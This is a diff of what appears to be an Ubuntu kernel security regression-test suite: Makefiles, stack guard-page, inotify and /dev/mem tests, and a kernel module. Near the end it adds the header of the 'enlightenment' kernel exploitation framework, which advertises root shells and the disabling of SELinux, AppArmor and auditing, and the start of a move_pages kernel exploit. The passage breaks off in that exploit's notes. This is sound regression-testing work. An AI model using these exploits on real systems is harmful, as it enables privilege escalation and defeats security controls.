EXECS=CVE-2010-3301 CVE-2010-3081
|
||||
ARCH=$(shell dpkg --print-architecture)
|
||||
|
||||
ifeq ($(ARCH),amd64)
|
||||
EXTRA_FLAGS=-m32
|
||||
endif
|
||||
|
||||
all: $(EXECS)
|
||||
|
||||
CVE-2010-3081: CVE-2010-3081.c
|
||||
$(CC) $(CFLAGS) $(EXTRA_FLAGS) -o $@ $<
|
||||
|
||||
clean:
|
||||
rm -f $(EXECS)
|
|
@ -0,0 +1,12 @@
|
|||
#!/usr/bin/env python2
|
||||
from __future__ import print_function
|
||||
import sys
|
||||
try:
|
||||
f = open(sys.argv[1])
|
||||
f.read(int(sys.argv[2]))
|
||||
f.close()
|
||||
except IOError as e:
|
||||
print("%s: %s" % (sys.argv[1], e.strerror), file=sys.stderr)
|
||||
sys.exit(e.errno)
|
||||
print("%s: Success" % (sys.argv[1]))
|
||||
sys.exit(0)
|
|
@ -0,0 +1,8 @@
|
|||
CFLAGS=-Wall -Werror -Wformat -Wformat-security -O2 -D_FORTIFY_SOURCE=2
|
||||
|
||||
EXECS=guard-page split-stack stackcrash_jvm
|
||||
|
||||
all: $(EXECS)
|
||||
|
||||
clean:
|
||||
rm -f $(EXECS)
|
Binary file not shown.
|
@ -0,0 +1,101 @@
|
|||
/* Copyright 2010, Canonical, Ltd.
|
||||
Author: Kees Cook <kees@ubuntu.com>
|
||||
License: GPLv3
|
||||
|
||||
This attempts to crash the stack into the new stack guard page. The
|
||||
expected behavior is to get a bus error. Exiting 0 should be considered
|
||||
a failure.
|
||||
*/
|
||||
#define _GNU_SOURCE
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
#include <inttypes.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/mman.h>
|
||||
#include <fcntl.h>
|
||||
|
||||
long getstack(FILE *maps, char *buf, int size)
|
||||
{
|
||||
unsigned long stack = 0;
|
||||
rewind(maps);
|
||||
while (!stack && fgets(buf, size, maps)) {
|
||||
if (strstr(buf,"[stack]")) {
|
||||
printf("%s", buf);
|
||||
stack = strtoul(buf, NULL, 16);
|
||||
}
|
||||
}
|
||||
return stack;
|
||||
}
|
||||
|
||||
int region_empty(unsigned char *target, int size)
|
||||
{
|
||||
int i;
|
||||
|
||||
for (i = 0; i < size; i++) {
|
||||
if (target[i] != '\0') return 0;
|
||||
}
|
||||
return 1;
|
||||
}
|
||||
|
||||
void bigfunc(FILE *maps, unsigned long target, int size)
|
||||
{
|
||||
char buf[2048];
|
||||
|
||||
if (getstack(maps, buf, 2048) != target &&
|
||||
region_empty((unsigned char*)target, size)) {
|
||||
bigfunc(maps, target, size);
|
||||
}
|
||||
}
|
||||
|
||||
int main(int argc, char * argv[])
|
||||
{
|
||||
char buf[128];
|
||||
FILE *maps;
|
||||
void *memory;
|
||||
unsigned long stack = 0;
|
||||
long pagesize = sysconf(_SC_PAGE_SIZE);
|
||||
int size = pagesize;
|
||||
|
||||
sprintf(buf, "/proc/%d/maps", getpid());
|
||||
if (!(maps = fopen(buf,"r"))) {
|
||||
perror(buf);
|
||||
return 1;
|
||||
}
|
||||
|
||||
stack = getstack(maps, buf, 128);
|
||||
|
||||
if (!stack) {
|
||||
fprintf(stderr, "Could not locate stack address\n");
|
||||
return 2;
|
||||
}
|
||||
|
||||
/*
|
||||
* Place new mapping 2 pages below the stack. This should work for both
|
||||
* the old guard page implementation with the guard page in the vma
|
||||
* (stack will grow by 1 page before getting a signal) and the new
|
||||
* implementation where the guard area is below the stack vma.
|
||||
*/
|
||||
size = pagesize;
|
||||
stack -= 2 * size;
|
||||
|
||||
printf("Target: %p\n", (void*)stack);
|
||||
memory = mmap((void*)stack, size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
|
||||
if (memory == MAP_FAILED) {
|
||||
perror("mmap");
|
||||
return 3;
|
||||
}
|
||||
memset(memory, 0, pagesize);
|
||||
|
||||
bigfunc(maps, (unsigned long)memory, size);
|
||||
|
||||
fflush(NULL);
|
||||
fprintf(stderr,"Unexpectedly survived stack crash into mapped segment\n");
|
||||
|
||||
return 0;
|
||||
}
|
Binary file not shown.
|
@ -0,0 +1,93 @@
|
|||
/* Copyright 2010 Canonical, Ltd
|
||||
License: GPLv3
|
||||
Authors:
|
||||
Kees Cook <kees.cook@canonical.com>
|
||||
Stefan Bader <stefan.bader@canonical.com>
|
||||
|
||||
Looks for gap between stack and mlock stack region
|
||||
|
||||
*/
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <fcntl.h>
|
||||
#include <unistd.h>
|
||||
#include <string.h>
|
||||
|
||||
void find_stack(unsigned long *prior_end, unsigned long *stack_start)
|
||||
{
|
||||
unsigned long stack = 0;
|
||||
unsigned long end = 0;
|
||||
FILE *maps;
|
||||
char buf[128];
|
||||
|
||||
sprintf(buf, "/proc/%d/maps", getpid());
|
||||
if (!(maps = fopen(buf,"r"))) {
|
||||
perror(buf);
|
||||
exit(2);
|
||||
}
|
||||
while (!stack && fgets(buf, 128, maps)) {
|
||||
//printf("%s", buf);
|
||||
if (strstr(buf,"[stack]")) {
|
||||
stack = strtoul(buf, NULL, 16);
|
||||
break;
|
||||
}
|
||||
|
||||
char * dash = strchr(buf,'-');
|
||||
if (dash) {
|
||||
dash++;
|
||||
end = strtoul(dash, NULL, 16);
|
||||
}
|
||||
else {
|
||||
end = 0;
|
||||
}
|
||||
}
|
||||
fclose(maps);
|
||||
|
||||
if (!stack) {
|
||||
fprintf(stderr,"Could not find '[stack]' in /proc/self/maps!\n");
|
||||
exit(3);
|
||||
}
|
||||
|
||||
//printf("prior end: %p\n", (void*)end);
|
||||
if (prior_end) {
|
||||
*prior_end = end;
|
||||
}
|
||||
//printf("stack start: %p\n", (void*)stack);
|
||||
if (stack_start) {
|
||||
*stack_start = stack;
|
||||
}
|
||||
}
|
||||
|
||||
int main(void)
|
||||
{
|
||||
char __attribute__((unused)) buf1[128];
|
||||
char buf2[128];
|
||||
char __attribute__((unused)) buf3[128];
|
||||
unsigned long after_prior_end;
|
||||
unsigned long before_stack, after_stack;
|
||||
int matches;
|
||||
|
||||
buf1[0] = 0;
|
||||
buf2[0] = 0;
|
||||
buf3[0] = 0;
|
||||
|
||||
find_stack(NULL, &before_stack);
|
||||
mlock(buf2, 128);
|
||||
find_stack(&after_prior_end, &after_stack);
|
||||
|
||||
matches = (before_stack == after_stack) || /* no split happened, or */
|
||||
(after_prior_end == after_stack); /* no gap happened */
|
||||
|
||||
munlock(buf2, 128);
|
||||
|
||||
if (!matches) {
|
||||
fprintf(stderr,"gap exists in stack VMAs (%p != %p)!\n", (void*)after_prior_end, (void*)after_stack);
|
||||
}
|
||||
else {
|
||||
printf("ok: no gap\n");
|
||||
}
|
||||
return !matches;
|
||||
}
|
Binary file not shown.
|
@ -0,0 +1,51 @@
|
|||
#define _GNU_SOURCE
|
||||
#include <stdio.h>
|
||||
#include <sys/time.h>
|
||||
#include <sys/resource.h>
|
||||
|
||||
#include <fcntl.h>
|
||||
#include <unistd.h>
|
||||
#include <string.h>
|
||||
|
||||
#include <sys/mman.h>
|
||||
|
||||
unsigned long get_stack_map(unsigned long end)
|
||||
{
|
||||
FILE *f;
|
||||
unsigned long a, b;
|
||||
unsigned long ret = 0;
|
||||
char buffer[4096];
|
||||
f = fopen("/proc/self/maps", "r");
|
||||
while (fgets(buffer, sizeof(buffer), f)) {
|
||||
if (!strstr(buffer, "[stack]"))
|
||||
continue;
|
||||
puts(buffer);
|
||||
if (sscanf(buffer, "%lx-%lx", &a, &b) == 2) {
|
||||
if (a <= end && b >= end) {
|
||||
ret = a;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
fclose(f);
|
||||
return ret;
|
||||
}
|
||||
|
||||
#ifndef PAGE_SIZE
|
||||
#define PAGE_SIZE 4096
|
||||
#endif
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
unsigned long *end;
|
||||
unsigned char *base;
|
||||
unsigned long *map;
|
||||
end = (unsigned long *) &end;
|
||||
base = (unsigned char *) get_stack_map(*end);
|
||||
printf("%p 0x%lx\n", base, *end);
|
||||
map = mmap(base - PAGE_SIZE, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANON|MAP_PRIVATE|MAP_FIXED, -1, 0);
|
||||
printf("mapped %p\n", map);
|
||||
base += PAGE_SIZE;
|
||||
*base = 0;
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1,8 @@
|
|||
CFLAGS=-Wall -Wformat-security -D_FORTIFY_SOURCE=2 -O2
|
||||
|
||||
EXECS=inotify-leak
|
||||
|
||||
all: $(EXECS)
|
||||
|
||||
clean:
|
||||
rm -f $(EXECS)
|
|
@ -0,0 +1,55 @@
|
|||
/* Copyright 2010 Canonical, Ltd
|
||||
License: GPLv3
|
||||
Authors:
|
||||
Kees Cook <kees.cook@canonical.com>
|
||||
*/
|
||||
#include <sys/inotify.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
#include <errno.h>
|
||||
#include <sys/time.h>
|
||||
#include <sys/resource.h>
|
||||
|
||||
void remove_watch(int master, int fd)
|
||||
{
|
||||
int s;
|
||||
|
||||
s = inotify_rm_watch (master, fd);
|
||||
if (s != 0) {
|
||||
fprintf(stderr, "failed to rm_watch %d: %s\n", fd, strerror (errno));
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
int
|
||||
main (void)
|
||||
{
|
||||
int master;
|
||||
struct rlimit rlim;
|
||||
|
||||
if (getrlimit(RLIMIT_NOFILE, &rlim)) {
|
||||
perror("getrlimit");
|
||||
exit(2);
|
||||
}
|
||||
printf("RLIMIT_NOFILE: %zd\n", rlim.rlim_max);
|
||||
|
||||
master = inotify_init ();
|
||||
|
||||
while (1) {
|
||||
int one = inotify_add_watch (master, ".", IN_MODIFY);
|
||||
printf("%d ...\n", one);
|
||||
int two = inotify_add_watch (master, "..", IN_MODIFY);
|
||||
printf("%d ...\n", two);
|
||||
|
||||
remove_watch(master, one);
|
||||
remove_watch(master, two);
|
||||
|
||||
if (one > 4097 || two > 4097) {
|
||||
printf("ok\n");
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
return 1;
|
||||
}
|
|
@ -0,0 +1,13 @@
|
|||
CFLAGS=-Wall -Werror -O2
|
||||
|
||||
EXECS=readmem
|
||||
|
||||
all: $(EXECS)
|
||||
make -C signpost
|
||||
|
||||
clean:
|
||||
rm -f $(EXECS)
|
||||
make -C signpost clean
|
||||
|
||||
readmem: readmem.c
|
||||
$(CC) $(CPPFLAGS) $(CFLAGS) $(LDFLAGS) $< -o $@ -lcap
|
|
@ -0,0 +1,184 @@
|
|||
#define _GNU_SOURCE
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
#include <inttypes.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/mman.h>
|
||||
|
||||
/* Hardy is weird and needs this undefined! */
|
||||
#undef _POSIX_SOURCE
|
||||
#include <sys/capability.h>
|
||||
|
||||
int seekread(int fd, unsigned long addr, unsigned int *value)
|
||||
{
|
||||
int seen;
|
||||
|
||||
printf("%p ... ", (void*)addr);
|
||||
fflush(NULL);
|
||||
|
||||
if (lseek(fd, addr, SEEK_SET) != addr) {
|
||||
perror("seek");
|
||||
exit(2);
|
||||
}
|
||||
|
||||
alarm(1);
|
||||
seen = read(fd, value, sizeof(*value));
|
||||
alarm(0);
|
||||
|
||||
return seen;
|
||||
}
|
||||
|
||||
unsigned long start_of_kernel(void)
|
||||
{
|
||||
char buf[128];
|
||||
FILE *iomem;
|
||||
unsigned long start = 0;
|
||||
|
||||
iomem = fopen("/proc/iomem", "r");
|
||||
if (!iomem) {
|
||||
perror("/proc/iomem");
|
||||
exit(100);
|
||||
}
|
||||
|
||||
while (fgets(buf, 128, iomem)) {
|
||||
if (strstr(buf,"Kernel code\n") ||
|
||||
strstr(buf,"Kernel text\n")) {
|
||||
start = strtoul(buf, NULL, 16);
|
||||
fprintf(stderr, "%s", buf);
|
||||
break;
|
||||
}
|
||||
}
|
||||
fclose(iomem);
|
||||
|
||||
if (!start) {
|
||||
fprintf(stderr, "No kernel code text segment found in /proc/iomem\n");
|
||||
return (getpagesize() << 2);
|
||||
}
|
||||
|
||||
return start;
|
||||
}
|
||||
|
||||
int safe_rawio()
|
||||
{
|
||||
cap_t caps;
|
||||
cap_flag_value_t value;
|
||||
|
||||
caps = cap_get_proc();
|
||||
if (caps == NULL)
|
||||
return 0;
|
||||
|
||||
/* Don't have CAP_SYS_ADMIN? Fail -- we want to test with privs. */
|
||||
if (cap_get_flag(caps, CAP_SYS_ADMIN, CAP_EFFECTIVE, &value) || !value)
|
||||
return 0;
|
||||
|
||||
cap_free(caps);
|
||||
|
||||
/* Handle hardy's ancient libcap-dev by just using capgetp() for all builds. */
|
||||
#if 1
|
||||
caps = cap_init();
|
||||
if (capgetp(1, caps))
|
||||
#else
|
||||
caps = cap_get_pid(1);
|
||||
if (caps == NULL)
|
||||
#endif
|
||||
return 0;
|
||||
/* init doesn't have CAP_SYS_RAWIO? Assume we can't get at /dev/mem. */
|
||||
if (cap_get_flag(caps, CAP_SYS_RAWIO, CAP_EFFECTIVE, &value) || value)
|
||||
return 0;
|
||||
|
||||
cap_free(caps);
|
||||
return 1;
|
||||
}
|
||||
|
||||
int main(int argc, char * argv[])
|
||||
{
|
||||
int fd, rc = 5, seen, fault = 0;
|
||||
unsigned int value;
|
||||
unsigned long addr;
|
||||
|
||||
if (safe_rawio()) {
|
||||
printf("Having CAP_SYS_ADMIN without CAP_RAWIO, failing safe.\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
if ( (fd=open("/dev/mem", O_RDONLY)) < 0 ) {
|
||||
perror("/dev/mem");
|
||||
return 1;
|
||||
}
|
||||
|
||||
// scan mem list, starting a little bit above the bottom of the range
|
||||
for (addr = start_of_kernel(); !fault ; addr <<= 1) {
|
||||
seen = seekread(fd, addr, &value);
|
||||
if (seen < 0) {
|
||||
switch (errno) {
|
||||
case EFAULT:
|
||||
// non-mapped memory region, so stop scanning
|
||||
printf("missing (EFAULT), ran off end of physical memory?\n");
|
||||
fault = 1;
|
||||
break;
|
||||
case EINVAL:
|
||||
// non-mapped memory region, so stop scanning
|
||||
printf("missing (EINVAL), ran off end of physical memory?\n");
|
||||
fault = 1;
|
||||
break;
|
||||
case EPERM:
|
||||
// disallowed memory region! STRICT_MEM is working, exit 0
|
||||
printf("good: EPERM\n");
|
||||
return 0;
|
||||
default:
|
||||
// unexpected error
|
||||
perror("read");
|
||||
return 3;
|
||||
}
|
||||
}
|
||||
else if (seen != sizeof(value)) {
|
||||
printf("incomplete read (%u/%u)\n", seen,
|
||||
(unsigned int)sizeof(value));
|
||||
return 255;
|
||||
}
|
||||
else {
|
||||
printf("readable\n");
|
||||
// successfully read memory, so keep scanning
|
||||
rc = 4;
|
||||
}
|
||||
}
|
||||
|
||||
if (rc == 4) {
|
||||
// in the case of reading everything, see if instead we're just getting
|
||||
// blanked reads (Xen seems to do this). So, attempt to read a specific
|
||||
// non-zero value and test to see if it is non-zero after the read.
|
||||
seen = 0;
|
||||
value = 0;
|
||||
if (argc > 1) {
|
||||
addr = strtoul(argv[1], NULL, 16);
|
||||
seen = seekread(fd, addr, &value);
|
||||
printf("0x%x\n", value);
|
||||
}
|
||||
if (seen == sizeof(value)) {
|
||||
if (value != 0) {
|
||||
printf("FAIL: scanned memory without EPERMs, and can read actual values\n");
|
||||
rc = 7;
|
||||
}
|
||||
else {
|
||||
printf("weird: scanned memory without EPERMs, but target value is non-zero\n");
|
||||
rc = 6;
|
||||
}
|
||||
}
|
||||
else {
|
||||
printf("FAIL: scanned memory, got successful reads, and no EPERMs\n");
|
||||
}
|
||||
}
|
||||
else {
|
||||
printf("FAIL: scanned memory, no successful reads, but also no EPERMs\n");
|
||||
}
|
||||
return rc;
|
||||
}
|
||||
|
|
@ -0,0 +1,8 @@
|
|||
obj-m += signpost.o
|
||||
EXTRA_CFLAGS=-I$(PWD)/../../
|
||||
|
||||
all:
|
||||
make -C /usr/src/linux-headers-$(shell uname -r) M=$$PWD modules
|
||||
|
||||
clean:
|
||||
make -C /usr/src/linux-headers-$(shell uname -r) M=$$PWD clean
|
|
@ -0,0 +1,133 @@
|
|||
/*
|
||||
Allocate some memory, fill it, and report its location.
|
||||
|
||||
Author: Kees Cook <keescook@chromium.org>
|
||||
Copyright 2011 ChromeOS Authors
|
||||
Author: Steve Beattie <steve.beattie@canonical.com>
|
||||
Copyright 2020 Canonical, Ltd.
|
||||
|
||||
make -C /usr/src/linux-headers-$(uname -r) M=$PWD modules
|
||||
*/
|
||||
|
||||
#define pr_fmt(fmt) KBUILD_MODNAME ": " fmt
|
||||
|
||||
#include <linux/module.h>
|
||||
#include <linux/version.h>
|
||||
#include <linux/init.h>
|
||||
#include <linux/proc_fs.h>
|
||||
#include <linux/seq_file.h>
|
||||
#include <linux/slab.h>
|
||||
#include <asm/io.h>
|
||||
|
||||
/* qa-regression-testing common compatability definitions */
|
||||
#include <qrt-compat.h>
|
||||
|
||||
int *signpost;
|
||||
|
||||
static int signpost_virt_show(struct seq_file *m, void *v)
|
||||
{
|
||||
seq_printf(m, "%p\n", signpost);
|
||||
return 0;
|
||||
}
|
||||
|
||||
static int signpost_virt_proc_open(struct inode *inode, struct file *file)
|
||||
{
|
||||
return single_open(file, signpost_virt_show, NULL);
|
||||
}
|
||||
|
||||
static const struct PROC_OPS signpost_virt_proc_fops = {
|
||||
.PROC_OPS_OPEN = signpost_virt_proc_open,
|
||||
.PROC_OPS_READ = seq_read,
|
||||
.PROC_OPS_LSEEK = seq_lseek,
|
||||
.PROC_OPS_RELEASE = single_release,
|
||||
};
|
||||
|
||||
static int signpost_phys_show(struct seq_file *m, void *v)
|
||||
{
|
||||
seq_printf(m, "%08lx\n", (unsigned long)virt_to_phys(signpost));
|
||||
return 0;
|
||||
}
|
||||
|
||||
static int signpost_phys_proc_open(struct inode *inode, struct file *file)
|
||||
{
|
||||
return single_open(file, signpost_phys_show, NULL);
|
||||
}
|
||||
|
||||
static const struct PROC_OPS signpost_phys_proc_fops = {
|
||||
.PROC_OPS_OPEN = signpost_phys_proc_open,
|
||||
.PROC_OPS_READ = seq_read,
|
||||
.PROC_OPS_LSEEK = seq_lseek,
|
||||
.PROC_OPS_RELEASE = single_release,
|
||||
};
|
||||
|
||||
static int signpost_value_show(struct seq_file *m, void *v)
|
||||
{
|
||||
seq_printf(m, "%08x\n", *signpost);
|
||||
return 0;
|
||||
}
|
||||
|
||||
static int signpost_value_proc_open(struct inode *inode, struct file *file)
|
||||
{
|
||||
return single_open(file, signpost_value_show, NULL);
|
||||
}
|
||||
|
||||
static const struct PROC_OPS signpost_value_proc_fops = {
|
||||
.PROC_OPS_OPEN = signpost_value_proc_open,
|
||||
.PROC_OPS_READ = seq_read,
|
||||
.PROC_OPS_LSEEK = seq_lseek,
|
||||
.PROC_OPS_RELEASE = single_release,
|
||||
};
|
||||
|
||||
static int __init signpost_init(void)
|
||||
{
|
||||
struct proc_dir_entry *entry;
|
||||
|
||||
signpost = kmalloc(sizeof(*signpost), GFP_KERNEL);
|
||||
if (!signpost) {
|
||||
pr_err("kmalloc failed\n");
|
||||
goto failed;
|
||||
}
|
||||
*signpost = 0xfeedface;
|
||||
|
||||
PROC_CREATE(entry, "signpost_virt", S_IRUGO, &signpost_virt_proc_fops);
|
||||
if (!entry) {
|
||||
pr_err("proc_create virt failed\n");
|
||||
goto free_signpost;
|
||||
}
|
||||
|
||||
PROC_CREATE(entry, "signpost_phys", S_IRUGO, &signpost_phys_proc_fops);
|
||||
if (!entry) {
|
||||
pr_err("proc_create phys failed\n");
|
||||
goto free_virt;
|
||||
}
|
||||
|
||||
PROC_CREATE(entry, "signpost_value", S_IRUGO, &signpost_value_proc_fops);
|
||||
if (!entry) {
|
||||
pr_err("proc_create value failed\n");
|
||||
goto free_phys;
|
||||
}
|
||||
|
||||
return 0;
|
||||
|
||||
free_phys:
|
||||
remove_proc_entry("signpost_phys", NULL);
|
||||
free_virt:
|
||||
remove_proc_entry("signpost_virt", NULL);
|
||||
free_signpost:
|
||||
kfree(signpost);
|
||||
failed:
|
||||
return -ENOMEM;
|
||||
}
|
||||
|
||||
static void __exit signpost_exit(void)
|
||||
{
|
||||
remove_proc_entry("signpost_virt", NULL);
|
||||
remove_proc_entry("signpost_phys", NULL);
|
||||
remove_proc_entry("signpost_value", NULL);
|
||||
kfree(signpost);
|
||||
}
|
||||
|
||||
module_init(signpost_init);
|
||||
module_exit(signpost_exit);
|
||||
|
||||
MODULE_LICENSE("GPL");
|
|
@ -0,0 +1,4 @@
|
|||
all: exp_sieve
|
||||
|
||||
clean:
|
||||
rm -f exp_sieve
|
|
@ -0,0 +1,110 @@
|
|||
/* enlightenment 200912092327
|
||||
|
||||
enlightenment is an exploitation framework mostly geared towards the
|
||||
exploitation of null ptr dereference bugs, though its routines are
|
||||
applicable to overflows and other bugclasses as well. It's a public
|
||||
demonstration of the capabilities of kernel exploits, useful for
|
||||
commercial pentesting or verifying the security of your own systems.
|
||||
|
||||
enlightenment supports:
|
||||
all kernels 2.4 and 2.6 (both x86 and x64)
|
||||
setting *uid/*gid 0
|
||||
clearing supplementary groups
|
||||
raising to full capabilities
|
||||
pre and post cred structures
|
||||
cloning of init's cred structure (when no cred symbols are present)
|
||||
CONFIG_DEBUG_RODATA bypass (both old and new versions)
|
||||
xen hypercalls for .text modification on new DEBUG_RODATA under Xen
|
||||
SELinux execmod/execmem bypassing
|
||||
SELinux disabling (and faking continued enforcement)
|
||||
even if the toggling variable has no generated symbol
|
||||
IMA disabling (rendering its TPM-based integrity checks worthless)
|
||||
Apparmor disabling
|
||||
Auditing disabling
|
||||
Tomoyo disabling
|
||||
generic LSM disabling
|
||||
all public methods of bypassing mmap_min_addr
|
||||
pearls of wisdom from some of the greatest writers and thinkers of
|
||||
the past couple centuries :)
|
||||
|
||||
To create your own exploit module for enlightenment, just name it
|
||||
exp_whatever.c
|
||||
It will be auto-compiled by the shell script and thrown into
|
||||
the list of loaded exploit modules
|
||||
|
||||
if you want to use the list of non-NULL exploits:
|
||||
./run_nonnull_exploits.sh
|
||||
if you want to run the list of NULL ptr deref exploits:
|
||||
./run_null_exploits.sh
|
||||
|
||||
Each module must have the following features:
|
||||
It must include this header file, exp_framework.h
|
||||
A description of the exploit, the variable being named "desc"
|
||||
A "prepare" function: int prepare(unsigned char *ptr)
|
||||
where ptr is the ptr to the NULL mapping, which you are able to write to
|
||||
This function can return the flags described below for prepare_the_exploit
|
||||
Return 0 for failure otherwise
|
||||
A "trigger" function: int trigger(void)
|
||||
Return 0 for failure, nonzero for success
|
||||
A "post" function: int post(void)
|
||||
This function can return the flags described below for post_exploit
|
||||
A "requires_null_page" int: int requires_null_page;
|
||||
This should be 1 if a NULL page needs to be mapped, and 0 otherwise
|
||||
(if you want to use the framework to exploit non-NULL ptr bugs)
|
||||
A "get_exploit_state_ptr" function:
|
||||
int get_exploit_state_ptr(struct exploit_state *ptr)
|
||||
Generally this will always be implemented as:
|
||||
struct *exp_state;
|
||||
int get_exploit_state_ptr(struct exploit_state *ptr)
|
||||
{
|
||||
exp_state = ptr;
|
||||
return 0;
|
||||
}
|
||||
It gives you access to the exploit_state structure listed below,
|
||||
get_kernel_sym allows you to resolve symbols
|
||||
own_the_kernel is the function that takes control of the kernel
|
||||
(in case you need its address to set up your buffer)
|
||||
the other variables describe the exploit environment, so you can
|
||||
for instance, loop through a number of vulnerable socket domains
|
||||
until you detect ring0 execution has occurred.
|
||||
|
||||
That's it!
|
||||
*/
|
||||
|
||||
|
||||
/* defines for prepare_the_exploit */
|
||||
/* for null fptr derefs */
|
||||
#define STRAIGHT_UP_EXECUTION_AT_NULL 0x31337
|
||||
/* for overflows */
|
||||
#define EXIT_KERNEL_TO_NULL 0x31336
|
||||
|
||||
#define EXECUTE_AT_NONZERO_OFFSET 0xfffff000 // OR the offset with this
|
||||
|
||||
/* defines for post_exploit */
|
||||
#define RUN_ROOTSHELL 0x5150
|
||||
#define CHMOD_SHELL 0x5151
|
||||
#define FUNNY_PIC_AND_ROOTSHELL 0xdeadc01d
|
||||
|
||||
typedef unsigned long (*_get_kernel_sym)(char *name);
|
||||
|
||||
struct exploit_state {
|
||||
_get_kernel_sym get_kernel_sym;
|
||||
void *own_the_kernel;
|
||||
void *exit_kernel;
|
||||
char *exit_stack;
|
||||
int run_from_main;
|
||||
int got_ring0;
|
||||
int got_root;
|
||||
};
|
||||
|
||||
#define EFL_RESERVED1 (1 << 1)
|
||||
#define EFL_PARITY (1 << 2)
|
||||
#define EFL_ZEROFLAG (1 << 6)
|
||||
#define EFL_INTERRUPTENABLE (1 << 9)
|
||||
#define EFL_IOPL3 ((1 << 12) | (1 << 13))
|
||||
|
||||
#define USER_EFLAGS (EFL_RESERVED1 | EFL_PARITY | EFL_ZEROFLAG | EFL_INTERRUPTENABLE)
|
||||
/* for insta-iopl 3, for whatever reason!
|
||||
#define USER_EFLAGS (EFL_RESERVED1 | EFL_PARITY | EFL_ZEROFLAG | EFL_INTERRUPTENABLE | EFL_IOPL3)
|
||||
*/
|
||||
|
Binary file not shown.
|
@ -0,0 +1,426 @@
|
|||
// Brad Spengler, 2010, extracted from englightenment.
|
||||
/* sieve (because the Linux kernel leaks like one, get it?)
|
||||
Bug NOT discovered by Marcus Meissner of SuSE security
|
||||
This bug was discovered by Ramon de Carvalho Valle in September of 2009
|
||||
The bug was found via fuzzing, and on Sept 24th I was sent a POC DoS
|
||||
for the bug (but had forgotten about it until now)
|
||||
Ramon's report was sent to Novell's internal bugzilla, upon which
|
||||
some months later Marcus took credit for discovering someone else's bug
|
||||
Maybe he thought he could get away with it ;) Almost ;)
|
||||
|
||||
greets to pipacs, tavis (reciprocal greets!), cloudburst, and rcvalle!
|
||||
|
||||
first exploit of 2010, next one will be for a bugclass that has
|
||||
afaik never been exploited on Linux before
|
||||
|
||||
note that this bug can also cause a DoS like so:
|
||||
|
||||
Unable to handle kernel paging request at ffffffff833c3be8 RIP:
|
||||
[<ffffffff800dc8ac>] new_page_node+0x31/0x48
|
||||
PGD 203067 PUD 205063 PMD 0
|
||||
Oops: 0000 [1] SMP
|
||||
Pid: 19994, comm: exploit Not tainted 2.6.18-164.el5 #1
|
||||
RIP: 0010:[<ffffffff800dc8ac>] [<ffffffff800dc8ac>]
|
||||
new_page_node+0x31/0x48
|
||||
RSP: 0018:ffff8100a3c6de50 EFLAGS: 00010246
|
||||
RAX: 00000000005fae0d RBX: ffff8100028977a0 RCX: 0000000000000013
|
||||
RDX: ffff8100a3c6dec0 RSI: 0000000000000000 RDI: 00000000000200d2
|
||||
RBP: 0000000000000000 R08: 0000000000000004 R09: 000000000000003c
|
||||
R10: 0000000000000000 R11: 0000000000000092 R12: ffffc20000077018
|
||||
R13: ffffc20000077000 R14: ffff8100a3c6df00 R15: ffff8100a3c6df28
|
||||
FS: 00002b8481125810(0000) GS:ffffffff803c0000(0000)
|
||||
knlGS:0000000000000000
|
||||
CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b
|
||||
CR2: ffffffff833c3be8 CR3: 000000009562d000 CR4: 00000000000006e0
|
||||
Process exploit (pid: 19994, threadinfo ffff8100a3c6c000, task
|
||||
ffff81009d8c4080)
|
||||
Stack: ffffffff800dd008 ffffc20000077000 ffffffff800dc87b
|
||||
0000000000000000
|
||||
0000000000000000 0000000000000003 ffff810092c23800 0000000000000003
|
||||
00000000000000ff ffff810092c23800 00007eff6d3dc7ff 0000000000000000
|
||||
Call Trace:
|
||||
[<ffffffff800dd008>] migrate_pages+0x8d/0x42b
|
||||
[<ffffffff800dc87b>] new_page_node+0x0/0x48
|
||||
[<ffffffff8009cee2>] schedule_on_each_cpu+0xda/0xe8
|
||||
[<ffffffff800dd8a2>] sys_move_pages+0x339/0x43d
|
||||
[<ffffffff8005d28d>] tracesys+0xd5/0xe0
|
||||
|
||||
|
||||
Code: 48 8b 14 c5 80 cb 3e 80 48 81 c2 10 3c 00 00 e9 82 29 f3 ff
|
||||
RIP [<ffffffff800dc8ac>] new_page_node+0x31/0x48
|
||||
RSP <ffff8100a3c6de50>
|
||||
CR2: ffffffff833c3be8
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#define _GNU_SOURCE
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <string.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <errno.h>
|
||||
#include "exp_framework.h"
|
||||
|
||||
#undef MPOL_MF_MOVE
|
||||
#define MPOL_MF_MOVE (1 << 1)
|
||||
|
||||
int max_numnodes;
|
||||
|
||||
unsigned long node_online_map;
|
||||
|
||||
unsigned long node_states;
|
||||
|
||||
unsigned long our_base;
|
||||
unsigned long totalhigh_pages;
|
||||
|
||||
#undef __NR_move_pages
|
||||
#ifdef __x86_64__
|
||||
#define __NR_move_pages 279
|
||||
#else
|
||||
#define __NR_move_pages 317
|
||||
#endif
|
||||
|
||||
/* random notes I took when writing this (all applying to the 64bit case):
|
||||
|
||||
